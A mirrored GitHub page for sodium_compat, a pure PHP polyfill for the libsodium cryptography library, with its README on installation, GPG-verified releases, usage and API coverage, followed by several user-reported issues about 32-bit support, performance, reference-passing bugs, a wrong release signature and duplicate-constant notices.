Git Product home page Git Product logo

sodium_compat's Introduction

Sodium Compat

Build Status Psalm Status Latest Stable Version Latest Unstable Version License Downloads

Sodium Compat is a pure PHP polyfill for the Sodium cryptography library (libsodium), a core extension in PHP 7.2.0+ and otherwise available in PECL.

If you have the PHP extension installed, Sodium Compat will opportunistically and transparently use the PHP extension instead of our implementation.

Major Versions and Branches

sodium_compat v1.21.0 was the last v1.x release from the master branch. From now on, all future releases that support PHP 5.2 - 8.0 and 32-bit integers will be in the v1.x branch.

Newer versions of sodium_compat (i.e., v2.0.0) will continue to live in the master branch, unless a new major version is needed. The goal of this work is to improve code readability and performance, while reducing boilerplate code.

When in doubt, refer to the README file in the master branch for the latest in version information.

Which version should I use?

sodium_compat version PHP versions supported 32-bit support? Branch
v1.x.y 5.2.4 - LATEST YES v1.x
v2.x.y 8.1 - LATEST NO master

If you need 32-bit PHP support (PHP_INT_SIZE == 4), continue using sodium_compat v1.x. If you want improved performance and smaller dependencies, use v2.x.

We recommend libraries and frameworks set a Composer version constraint as follows:

{
    "require": {
        /* ... */
        "paragonie/sodium_compat": ">= 1"
        /* ... */
    }
}

Applications should, conversely, specify the actual version that matters to them and their deployments.

IMPORTANT!

This cryptography library has not been formally audited by an independent third party that specializes in cryptography or cryptanalysis.

If you require such an audit before you can use sodium_compat in your projects and have the funds for such an audit, please open an issue or contact security at paragonie dot com so we can help get the ball rolling.

However, sodium_compat has been adopted by high profile open source projects, such as Joomla! and Magento. Furthermore, sodium_compat was developed by Paragon Initiative Enterprises, a company that specializes in secure PHP development and PHP cryptography, and has been informally reviewed by many other security experts who also specialize in PHP.

If you'd like to learn more about the defensive security measures we've taken to prevent sodium_compat from being a source of vulnerability in your systems, please read Cryptographically Secure PHP Development.

Installing Sodium Compat

If you're using Composer:

composer require paragonie/sodium_compat

Install From Source

If you're not using Composer, download a release tarball (which should be signed with our GnuPG public key), extract its contents, then include our autoload.php script in your project.

<?php
require_once "/path/to/sodium_compat/autoload.php";

PHP Archives (Phar) Releases

Since version 1.3.0, sodium_compat releases include a PHP Archive (.phar file) and associated GPG signature. First, download both files and verify them with our GPG public key, like so:

# Getting our public key from the keyserver:
gpg --fingerprint 7F52D5C61D1255C731362E826B97A1C2826404DA
if [ $? -ne 0 ]; then
    echo -e "\033[33mDownloading PGP Public Key...\033[0m"
    gpg  --keyserver pgp.mit.edu --recv-keys 7F52D5C61D1255C731362E826B97A1C2826404DA
    # Security <[email protected]>
    gpg --fingerprint 7F52D5C61D1255C731362E826B97A1C2826404DA
    if [ $? -ne 0 ]; then
        echo -e "\033[31mCould not download PGP public key for verification\033[0m"
        exit 1
    fi
fi

# Verifying the PHP Archive
gpg --verify sodium-compat.phar.sig sodium-compat.phar

Now, simply include this .phar file in your application.

<?php
require_once "/path/to/sodium-compat.phar";

Support

Commercial support for libsodium is available from multiple vendors. If you need help using sodium_compat in one of your projects, contact Paragon Initiative Enterprises.

Non-commercial report will be facilitated through Github issues. We offer no guarantees of our availability to resolve questions about integrating sodium_compat into third-party software for free, but will strive to fix any bugs (security-related or otherwise) in our library.

Support Contracts

If your company uses this library in their products or services, you may be interested in purchasing a support contract from Paragon Initiative Enterprises.

Using Sodium Compat

True Polyfill

As per the second vote on the libsodium RFC, PHP 7.2 uses sodium_* instead of \Sodium\*.

<?php
require_once "/path/to/sodium_compat/autoload.php";

$alice_kp = sodium_crypto_sign_keypair();
$alice_sk = sodium_crypto_sign_secretkey($alice_kp);
$alice_pk = sodium_crypto_sign_publickey($alice_kp);

$message = 'This is a test message.';
$signature = sodium_crypto_sign_detached($message, $alice_sk);
if (sodium_crypto_sign_verify_detached($signature, $message, $alice_pk)) {
    echo 'OK', PHP_EOL;
} else {
    throw new Exception('Invalid signature');
}

General-Use Polyfill

If your users are on PHP < 5.3, or you want to write code that will work whether or not the PECL extension is available, you'll want to use the ParagonIE_Sodium_Compat class for most of your libsodium needs.

The above example, written for general use:

<?php
require_once "/path/to/sodium_compat/autoload.php";

$alice_kp = ParagonIE_Sodium_Compat::crypto_sign_keypair();
$alice_sk = ParagonIE_Sodium_Compat::crypto_sign_secretkey($alice_kp);
$alice_pk = ParagonIE_Sodium_Compat::crypto_sign_publickey($alice_kp);

$message = 'This is a test message.';
$signature = ParagonIE_Sodium_Compat::crypto_sign_detached($message, $alice_sk);
if (ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message, $alice_pk)) {
    echo 'OK', PHP_EOL;
} else {
    throw new Exception('Invalid signature');
}

Generally: If you replace sodium_ with ParagonIE_Sodium_Compat::, any code already written for the libsodium PHP extension should work with our polyfill without additional code changes.

Since this doesn't require a namespace, this API is exposed on PHP 5.2.

Since version 0.7.0, we have our own namespaced API (ParagonIE\Sodium\*) to allow brevity in software that uses PHP 5.3+. This is useful if you want to use our file cryptography features without writing ParagonIE_Sodium_File every time. This is not exposed on PHP < 5.3, so if your project supports PHP < 5.3, use the underscore method instead.

To learn how to use Libsodium, read Using Libsodium in PHP Projects.

Help, Sodium_Compat is Slow! How can I make it fast?

There are three ways to make it fast:

  1. Use a newer version of PHP (at least 7.2).
  2. Install the libsodium PHP extension from PECL.
  3. Only if the previous two options are not available for you:
    1. Verify that the processor you're using actually implements constant-time multiplication. Sodium_compat does, but it must trade some speed in order to attain cross-platform security.
    2. Only if you are 100% certain that your processor is safe, you can set ParagonIE_Sodium_Compat::$fastMult = true; without harming the security of your cryptography keys. If your processor isn't safe, then decide whether you want speed or security because you can't have both.

How can I tell if sodium_compat will be slow, at runtime?

Since version 1.8, you can use the polyfill_is_fast() static method to determine if sodium_compat will be slow at runtime.

<?php
if (ParagonIE_Sodium_Compat::polyfill_is_fast()) {
    // Use libsodium now
    $process->execute();
} else {
    // Defer to a cron job or other sort of asynchronous process
    $process->enqueue();
}

Documentation

First, you'll want to read the Libsodium Quick Reference. It aims to answer, "Which function should I use for [common problem]?".

If you don't find the answers in the Quick Reference page, check out Using Libsodium in PHP Projects.

Finally, the official libsodium documentation (which was written for the C library, not the PHP library) also contains a lot of insightful technical information you may find helpful.

API Coverage

Recommended reading: Libsodium Quick Reference

  • Mainline NaCl Features
    • crypto_auth()
    • crypto_auth_verify()
    • crypto_box()
    • crypto_box_open()
    • crypto_scalarmult()
    • crypto_secretbox()
    • crypto_secretbox_open()
    • crypto_sign()
    • crypto_sign_open()
  • PECL Libsodium Features
    • crypto_aead_aegis128l_encrypt()
    • crypto_aead_aegis128l_decrypt()
    • crypto_aead_aegis256_encrypt()
    • crypto_aead_aegis256_decrypt()
    • crypto_aead_aes256gcm_encrypt()
    • crypto_aead_aes256gcm_decrypt()
    • crypto_aead_chacha20poly1305_encrypt()
    • crypto_aead_chacha20poly1305_decrypt()
    • crypto_aead_chacha20poly1305_ietf_encrypt()
    • crypto_aead_chacha20poly1305_ietf_decrypt()
    • crypto_aead_xchacha20poly1305_ietf_encrypt()
    • crypto_aead_xchacha20poly1305_ietf_decrypt()
    • crypto_box_xchacha20poly1305()
    • crypto_box_xchacha20poly1305_open()
    • crypto_box_seal()
    • crypto_box_seal_open()
    • crypto_generichash()
    • crypto_generichash_init()
    • crypto_generichash_update()
    • crypto_generichash_final()
    • crypto_kx()
    • crypto_secretbox_xchacha20poly1305()
    • crypto_secretbox_xchacha20poly1305_open()
    • crypto_shorthash()
    • crypto_sign_detached()
    • crypto_sign_ed25519_pk_to_curve25519()
    • crypto_sign_ed25519_sk_to_curve25519()
    • crypto_sign_verify_detached()
    • For advanced users only:
      • crypto_core_ristretto255_add()
      • crypto_core_ristretto255_from_hash()
      • crypto_core_ristretto255_is_valid_point()
      • crypto_core_ristretto255_random()
      • crypto_core_ristretto255_scalar_add()
      • crypto_core_ristretto255_scalar_complement()
      • crypto_core_ristretto255_scalar_invert()
      • crypto_core_ristretto255_scalar_mul()
      • crypto_core_ristretto255_scalar_negate()
      • crypto_core_ristretto255_scalar_random()
      • crypto_core_ristretto255_scalar_reduce()
      • crypto_core_ristretto255_scalar_sub()
      • crypto_core_ristretto255_sub()
      • crypto_scalarmult_ristretto255_base()
      • crypto_scalarmult_ristretto255()
      • crypto_stream()
      • crypto_stream_keygen()
      • crypto_stream_xor()
      • crypto_stream_xchacha20()
      • crypto_stream_xchacha20_keygen()
      • crypto_stream_xchacha20_xor()
      • crypto_stream_xchacha20_xor_ic()
    • Other utilities (e.g. crypto_*_keypair())
      • add()
      • base642bin()
      • bin2base64()
      • bin2hex()
      • hex2bin()
      • crypto_kdf_derive_from_key()
      • crypto_kx_client_session_keys()
      • crypto_kx_server_session_keys()
      • crypto_secretstream_xchacha20poly1305_init_push()
      • crypto_secretstream_xchacha20poly1305_push()
      • crypto_secretstream_xchacha20poly1305_init_pull()
      • crypto_secretstream_xchacha20poly1305_pull()
      • crypto_secretstream_xchacha20poly1305_rekey()
      • pad()
      • unpad()

Cryptography Primitives Provided

  • X25519 - Elliptic Curve Diffie Hellman over Curve25519
  • Ed25519 - Edwards curve Digital Signature Algorithm over Curve25519
  • Xsalsa20 - Extended-nonce Salsa20 stream cipher
  • ChaCha20 - Stream cipher
  • Xchacha20 - Extended-nonce ChaCha20 stream cipher
  • Poly1305 - Polynomial Evaluation Message Authentication Code modulo 2^130 - 5
  • BLAKE2b - Cryptographic Hash Function
  • SipHash-2-4 - Fast hash, but not collision-resistant; ideal for hash tables.

Features Excluded from this Polyfill

  • sodium_memzero() - Although we expose this API endpoint, we can't reliably zero buffers from PHP.

    If you have the PHP extension installed, sodium_compat will use the native implementation to zero out the string provided. Otherwise it will throw a SodiumException.

  • sodium_crypto_pwhash() - It's not feasible to polyfill scrypt or Argon2 into PHP and get reasonable performance. Users would feel motivated to select parameters that downgrade security to avoid denial of service (DoS) attacks.

    The only winning move is not to play.

    If ext/sodium or ext/libsodium is installed, these API methods will fallthrough to the extension. Otherwise, our polyfill library will throw a SodiumException.

    To detect support for Argon2i at runtime, use ParagonIE_Sodium_Compat::crypto_pwhash_is_available(), which returns a boolean value (TRUE or FALSE).

  • Libsodium's HKDF API (crypto_kdf_hkdf_*()) is not included because PHP has its own HMAC features amd it was not deemed necessary.

PHPCompatibility Ruleset

For sodium_compat users and that utilize PHPCompatibility in their CI process, there is now a custom ruleset available which can be used to prevent false positives being thrown by PHPCompatibility for the native PHP functionality being polyfilled by this repo.

You can find the repo for the PHPCompatibilityParagonieSodiumCompat ruleset here on Github and on Packagist.

sodium_compat's People

Contributors

aidantwoods avatar derrabus avatar desrosj avatar exussum12 avatar furgas avatar gradybing avatar grahamcampbell avatar jrfnl avatar kasperfranz avatar lesuisse avatar mrpetovan avatar muglug avatar nazar-pc avatar nenglish7 avatar nicolas-grekas avatar paragonie-scott avatar paragonie-security avatar ryanhofer avatar stesi561 avatar stof avatar szepeviktor avatar twistor avatar williamdes avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

sodium_compat's Issues

Library does not work with 32-bit integers

A more general issue than #37


F.F.FF..EFFEEFFFE..E....FFF.FFFF.........EFEFFFF.FF.SFF.....FS.  63 / 121 ( 52%)
.S.F.FFF.SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS      121 / 121 (100%)

Time: 27.48 seconds, Memory: 27.00MB

[snip]

ERRORS!
Tests: 121, Assertions: 674, Errors: 7, Failures: 30, Skipped: 52.

Here's the full output for the curious.
output.txt

Performance issue between v0.3.1 and v0.4.0

Hello,
I've used the v0.3.1 in a test php 5.4 project (only with crypto_box).

I've notice that the librairy was verry speed (~150ms / 200ms in my personal case)

I've try recently an update to the latest version v1.1.0, but my request time increase a lot (~3.5s / 4s)

I found this speed issue between v0.3.1 and v0.4.0.

It's just to report my use case. Maybe I don't use the lib correctly!

Thanks in advance.

crypto_pwhash_* methods

I was hoping to use the 7.2 style syntax for these methods, but they aren't provided in here. Is there any chance of bringing them in like memzero, where they throw an exception on default php?

On the same note, would that mean all methods would appear in this library? (Are these the only missing ones?)

sodium_memzero()/sodium_increment() polyfills behave incorrectly when libsodium-php 1.x is available

sodium_memzero() and sodium_increment() both work with the reference of their parameter, when using libsodium-php 1.x the parameter is not passed as reference. This is due to the usage of call_user_func() to call the "real" functions of php-libsodium from the polyfill.

For sodium_memzero() that means the content of the string is not wiped and no error, warning or exception is thrown.

<?php
$str = 'ABCDEFGH';
sodium_memzero($str);
var_dump($str === 'ABCDEFGH'); // true, should be false or SodiumException should have been thrown by sodium_memzero()

For sodium_increment() that means the value is not incremented.

<?php
$str = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
var_dump(sodium_bin2hex($str)); // f4a85361c2e563252ea077abc9e0b9ce38fb201808444c1b
sodium_increment($str);
var_dump(sodium_bin2hex($str)); // f4a85361c2e563252ea077abc9e0b9ce38fb201808444c1b should be f5a85361c2e563252ea077abc9e0b9ce38fb201808444c1b

I initially thought that sodium_increment() was generating a fatal error instead of silently doing nothing but my initial test case was too simple and was hitting this error of libsodium: https://github.com/jedisct1/libsodium-php/blob/1.0.7/libsodium.c#L480

Both cases have been reproduced with the following environment:
Linux
PHP 5.6.37
libsodium-php 1.0.7
sodium_compat 1.6.3

PHP 5.2, 5.3 support

The builds are breaking on Travis CI because of weird inconsistencies with PHP < 5.4.

Before the first release, we need to get those working.

Wrong sodium-compat.phar.sig file in release 1.6.0

wrong sodium-compat.phar.sig file in release 1.6.0 on here

sodium-compat.phar.sig file in release 1.6.0 is identical to release 1.5.6

Release 1.6.0

gpg --verify sodium-compat.phar.sig sodium-compat.phar
gpg: Signature made Tue Jan 30 07:21:23 2018 CST using RSA key ID 826404DA
gpg: BAD signature from "Security <[email protected]>"

Release 1.5.6

gpg --verify sodium-compat.phar.sig sodium-compat.phar
gpg: Signature made Tue Jan 30 07:21:23 2018 CST using RSA key ID 826404DA
gpg: Good signature from "Security <[email protected]>"
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: 7F52 D5C6 1D12 55C7 3136  2E82 6B97 A1C2 8264 04DA

It looks like the file sodium-compat.phar.sig in release 1.5.6 got copied to release 1.6.0 by mistake on here (...so it does not work for 1.6.0 gpg verification)

PHPCompatibility ruleset for sodium_compat

Hi all,

This is just a "service message".

For those people who use this library and use PHPCompatibility in their CI process, there is now a custom ruleset available which can be used to prevent false positives being thrown by PHPCompatibility for the native PHP functionality being polyfilled by this repo.

You can find the repo for the PHPCompatibilityParagonieSodiumCompat ruleset here on Github as well as on Packagist.

Hope someone will find it useful 😄

P.S.: If anyone is interested in helping us to maintain the ruleset, please open an issue in the repo.

Version 0.3.0 (Code Freeze)

Friday, I'm tagging v0.3.0 (whether or not it's the same code as v0.2.2 remains to be seen). From that point until sodium_compat is audited, I'm enacting a code freeze, which will end once #8 has moved forward at all.

Issue with latest version and missing constants

I currently cannot update versions of this library, and am stuck on v1.8.1.

If I update to 1.11.1, then the file "php72compat.php" fails to find the correct constants passed to "constant()"

This issue will then generate a warning for EVERY constant needed, even if my PHP version is v7.1 or v7.2.

Can this be investigated?

I can reproduce it by using Certainty, and updating to the latest, and then trying to execute RemoteFetch->getLatestBundle().

Notices thrown at composer autoload

I tested a composer update this morning, and I have an issue with constant declaration.

With released version v1.11.1, no issues were seen.

Since this morning and new releases, I have this v1.11.3

system: Linux Ubuntu 18.04 running docker.
php: php7.1 with sodium extension.

php -v
PHP 7.1.32-1+0~20190902.23+debian9~1.gbp9d1be7 (cli) (built: Sep  2 2019 13:35:11) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.1.32-1+0~20190902.23+debian9~1.gbp9d1be7, Copyright (c) 1999-2018, by Zend Technologies
php --re sodium
Extension [ <persistent> extension #55 sodium version 2.0.10 ] {
...
▅▂▆▄▇ ❱ composer init

                                            
  Welcome to the Composer config generator  
                                            


This command will guide you through creating your composer.json config.

Package name (<vendor>/<name>) [root/test_sodium_compat]: bburnichon/test_sodium_compat
Description []: 
Author [Benoît Burnichon <[email protected]>, n to skip]: 
Minimum Stability []: 
Package Type (e.g. library, project, metapackage, composer-plugin) []: project
License []: 

Define your dependencies.

Would you like to define your dependencies (require) interactively [yes]? 
Search for a package: paragonie/sodium-compat

Found 1 packages matching paragonie/sodium-compat

   [0] paragonie/sodium_compat 

Enter package # to add, or the complete package name if it is not listed: 0
Enter the version constraint to require (or leave blank to use the latest version): 
Using version ^1.11 for paragonie/sodium_compat
Search for a package: 
Would you like to define your dev dependencies (require-dev) interactively [yes]? no

{
    "name": "bburnichon/test_sodium_compat",
    "type": "project",
    "require": {
        "paragonie/sodium_compat": "^1.11"
    },
    "authors": [
        {
            "name": "Benoît Burnichon",
            "email": "[email protected]"
        }
    ]
}

Do you confirm generation [yes]? 
Would you like to install dependencies now [yes]? 
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 2 installs, 0 updates, 0 removals
  - Installing paragonie/random_compat (v9.99.99): Downloading (100%)         
  - Installing paragonie/sodium_compat (v1.11.3): Downloading (100%)         
paragonie/random_compat suggests installing ext-libsodium (Provides a modern crypto API that can be used to generate random bytes.)
paragonie/sodium_compat suggests installing ext-libsodium (PHP < 7.0: Better performance, password hashing (Argon2i), secure memory management (memzero), and better security.)
Writing lock file
Generating autoload files
[Fri Oct 18 10:52:49][/projects/test_sodium_compat] 
▅▂▆▄▇ ❱ php vendor/autoload.php 
PHP Notice:  Constant SODIUM_BASE64_VARIANT_ORIGINAL already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 7
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 8
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_BASE64_VARIANT_URLSAFE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 9
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 10
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 11
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 12
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 13
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 14
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 15
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 16
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 17
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 18
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 19
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 20
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 21
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 22
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
